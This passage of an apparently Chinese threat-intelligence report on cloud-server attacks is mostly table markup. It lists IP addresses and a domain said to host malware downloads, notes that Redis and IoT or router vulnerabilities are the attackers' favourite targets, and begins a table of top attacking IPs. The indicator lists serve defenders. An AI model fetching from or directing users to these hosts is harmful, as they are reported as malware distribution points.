mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">45.133.203.192</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">869</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">136,761</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">114</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">py2web.store</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">769</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">45,032</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">194.87.139.103</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">763</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">110,061</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">10</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">194.145.227.21</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">168</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">727</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">18</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">103.209.103.16</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">13</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">116</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">11</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">154.66.240.59</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan"><span lang="EN-US">8</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3,537</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;mso-yfti-lastrow:yes;height:9.6pt">
<td width="178" nowrap="" style="width:133.85pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">86.105.195.120<o:p></o:p></span></b></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:64"><span lang="EN-US">3</span></p>
</td>
<td width="98" nowrap="" style="width:73.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">416</span></p>
</td>
<td width="129" nowrap="" style="width:96.6pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">10</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>这些恶意软件的下载服务器主要分布在欧洲和美国。</p><h3 id="--2">漏洞的扫描和攻击</h3><p>大多数云服务器攻击者倾向于使用热门应用程序的旧漏洞。我们发现，排除掉暴力破解后，云服务器攻击者最喜欢使用Redis漏洞。此外，NVR、DVR、网络摄像头等安防设备和路由器设备的漏洞也是云服务器漏洞攻击的主要目标。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/7.png" class="kg-image" alt loading="lazy"></figure><p>被云服务器攻击者攻击最多的程序是Redis，其他包括MikroTik、GoAhead、DLink、ATLASSIAN等厂商的设备和程序也是主要的被攻击目标。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/8.png" class="kg-image" alt loading="lazy"></figure><p>以下是利用的漏洞种类最多的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:232.95pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:10.8pt">
<td width="141" nowrap="" valign="top" style="width:106.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></b><b><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:
0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="89" nowrap="" valign="top" style="width:66.75pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">攻击次数</span></b><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="80" nowrap="" valign="top" style="width:60.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">漏洞数量</span></b><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">193.122.*.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">68,021</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">20</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
